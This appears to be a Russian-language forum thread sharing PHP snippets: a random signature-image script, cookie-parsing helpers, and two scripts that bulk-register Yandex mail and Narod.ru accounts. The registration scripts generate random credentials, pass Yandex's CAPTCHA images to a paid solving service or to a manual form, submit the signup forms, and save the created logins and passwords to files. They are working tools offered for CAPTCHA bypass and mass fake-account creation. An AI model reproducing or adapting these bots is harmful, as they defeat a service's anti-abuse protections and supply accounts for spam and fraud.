Скрипт рандомно выводит разные картинки в подписи... PHP: <?php $directory = 'sig'; $dir = opendir($directory); while($file = readdir($dir)) { if ($file != "." && $file != "..") { $sig[] = $file; } } $sigs = count($sig) - 1; $random = rand(0, $sigs); $jpg = $png = $gif = (substr($sig[$random], -3)) ? '1' : ''; $jpeg = (substr($sig[$random], -4)) ? '1' : ''; if ($sigs < 0) { echo 'Empty directory '.$directory.'<br/>Please upload image files'; } if (substr($sig[$random], -3) == "jpg" || substr($sig[$random], -4) == "jpeg") { header('Content-type: image/jpeg'); $tmp = file_get_contents($directory."/".$sig[$random]); $img = base64_encode($tmp); echo base64_decode($img); } else if (substr($sig[$random], -3) == "png") { header('Content-type: image/png'); $tmp = file_get_contents($directory."/".$sig[$random]); $img = base64_encode($tmp); echo base64_decode($img); } else if (substr($sig[$random], -3) == "gif") { header('Content-type: image/gif'); $tmp = file_get_contents($directory."/".$sig[$random]); $img = base64_encode($tmp); echo base64_decode($img); } else { echo 'Only filetype gif, jpg, jpeg, png'; } ?>
Универсальная функция для получения cookies из заголовка ответа сервера. Возвращает строку, которую можно сразу вставлять в заголовок Cookie. PHP: function get_ret_cookie($res) { preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook); if(!isset($cook[1])) return ''; $cookies=implode('; ',array_unique($cook[1])); return $cookies; } PS. NOmeR1, спасибо за совет)
PHP: function pregCookie($headers) { preg_match_all('#Set-cookie: (.*;)#UiS',$headers,$headers); return implode('',$headers['1']); }
Авторегер E-mail + сайтов Narod.ru PHP: <?php set_time_limit(0); //-----------------// $email = 'yandex_mail.txt'; // Файл с E-mail $narod = 'narod.txt'; // Файл с FTP $ammount = '5'; // Количество регистраций $divider = ':'; // Разделитель $ac_key = ' '; // Ключ антикапчи #$proxy = ' '; // Можно через покси (в функции 'post' нужно раскоментировать строку с $proxy) //-----------------// function post($url,$post,$refer) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); #curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); return $result; } /* Функция для распознавания капчи */ function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 1, $min_len = 0, $max_len = 0) { if (!file_exists($filename)) { if ($is_verbose) echo "file $filename not found\n"; return false; } $postdata = array( 'method' => 'post', 'key' => $apikey, 'file' => '@'.$filename, //полный путь к файлу 'phrase' => $is_phrase, 'regsense' => $is_regsense, 'numeric' => $is_numeric, 'min_len' => $min_len, 'max_len' => $max_len, ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $result = curl_exec($ch); if (curl_errno($ch)) { if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n"; return false; } curl_close($ch); if (strpos($result, "ERROR")!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } else { $ex = explode("|", $result); $captcha_id = $ex[1]; if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n"; $waittime = 0; if ($is_verbose) echo "waiting for $rtimeout seconds\n"; sleep($rtimeout); while(true) { $result = file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id); if (strpos($result, 'ERROR')!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } if ($result=="CAPCHA_NOT_READY") { if ($is_verbose) echo "captcha is not ready yet\n"; $waittime += $rtimeout; if ($waittime>$mtimeout) { if ($is_verbose) echo "timelimit ($mtimeout) hit\n"; break; } if ($is_verbose) echo "waiting for $rtimeout seconds\n"; sleep($rtimeout); } else { $ex = explode('|', $result); if (trim($ex[0])=='OK') return trim($ex[1]); } } return false; } } function login() { $letters = 'abcdefghijklmopkqrstuvwxyz'; for ($p = 0; $p < 20; $p++) { $login .= $letters{rand(0, strlen($letters) - 1)}; } return $login; } /* Пока не достигнем нужного количества e-mail/ftp, не заканчиваем регистрацию */ for ($y = 1; $y <= $ammount; $y++) { /* Генерируем Логин... */ $login = login(); /* ...имя */ $name = rand(0,7777777); /* ...пароль */ $password = rand(0,7777777); /* Выходи из почты */ post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/'); /* Начинаем регистрацию */ $result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru'); /* Получаем значения */ preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd); preg_match('#idkey" value="(.*?)"#i',$result,$idkey); preg_match('#\?idkey=(.*?)"#i',$result,$captcha); /* Создаём картинку капчи */ file_put_contents('captcha.jpg',file_get_contents('http://passport.yandex.ru/digits?idkey='.$captcha[1])); /* Распознаём её */ $text=recognize(getcwd()."/captcha.jpg",$ac_key,false); /* Регистрируем E-mail... */ $result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$ncrnd[1],'idkey='.$idkey[1].'&step=two&filled=yes&login='.$login.'&fname='.$name.'&iname='.$name.'&time='.time().'&passwd='.$password.'&passwd2='.$password.'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.$text.'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']); /* ...и FTP */ $ftp = post('http://narod.yandex.ru/disk/narod/',null,'http://yandex.ru/'); /* Проверяем всё ли прошло успешно */ if(preg_match('#logout">(.*?)<#i',$result,$end)) { /* Сохраняем результаты */ $fh = fopen($email, "a+"); $success - fwrite($fh, $login.'@yandex.ru'.$divider.$password."\r\n"); fclose($fh); $na = fopen($narod, "a+"); $success - fwrite($na, $login.'.narod.ru'.$divider.$password."\r\n"); fclose($na); } } /* geforse.name */ ?> Полуавтоматический регистратор E-mail Яндекс PHP: <?php set_time_limit(0); //-----------------// $email = 'yandex.txt'; // Файл с E-mail $divider = ':'; // Разделитель //-----------------// function post($url,$post,$refer) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); return $result; } /* Генерируем Логин... */ $letters = 'abcdefghijklmopkqrstuvwxyz'; for ($i = 0; $i < 20; $i++) { $login .= $letters{rand(0, strlen($letters) - 1)}; } /* ...имя */ $name = rand(0,7777777); /* ...пароль */ $password = rand(0,7777777); /* Если нам передали капчу */ if($_POST['captcha']) { /* Отправляем данные*/ $result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd'],'idkey='.$_POST['idkey'].'&step=two&filled=yes&login='.$_POST['login'].'&fname='.$_POST['name'].'&iname='.$_POST['name'].'&time='.time().'&passwd='.$_POST['password'].'&passwd2='.$_POST['password'].'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.trim($_POST['captcha']).'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']); /* Проверка правильности ввода капчи */ if (preg_match('#or">(.*?) н#i',$result,$bad_capt)) { echo '<script>alert(\'Не правильный код!\')</script>'; } else { /* Запись в файл */ $fh = fopen($email, "a+"); $success - fwrite($fh, $_POST['login'].'@yandex.ru'.$divider.$_POST['password']."\r\n"); fclose($fh); } Header('Location: index.php'); exit; } else { /* Если не передали капчу */ /* Выходим из почты */ post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/'); /* Начинаем регистрацию */ $result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru'); /* Получаем значения */ preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd); preg_match('#idkey" value="(.*?)"#i',$result,$idkey); preg_match('#\?idkey=(.*?)"#i',$result,$captcha); /* Выводим форму для ввода капчи (в hidden передаём необходимые значения) */ echo '<img class="captcha-img" name="captcha" src="http://passport.yandex.ru/digits?idkey='.$captcha[1].'" alt=""><br> <form name="captcha_form" action="index.php" method="POST"> <input type="text" name="captcha" value="" /><br> <input type="hidden" name="ncrnd" value="'.$ncrnd[1].'" /> <input type="hidden" name="idkey" value="'.$idkey[1].'" /> <input type="hidden" name="name" value="'.$name.'" /> <input type="hidden" name="login" value="'.$login.'" /> <input type="hidden" name="password" value="'.$password.'" /> <input type="submit" value="ok"> </form>'; } /* Выводим результат */ if (file_exists($email)) { $quantity_email = count(file($email)); echo 'В базе <b>'.$quantity_email.'</b> E-mail'; }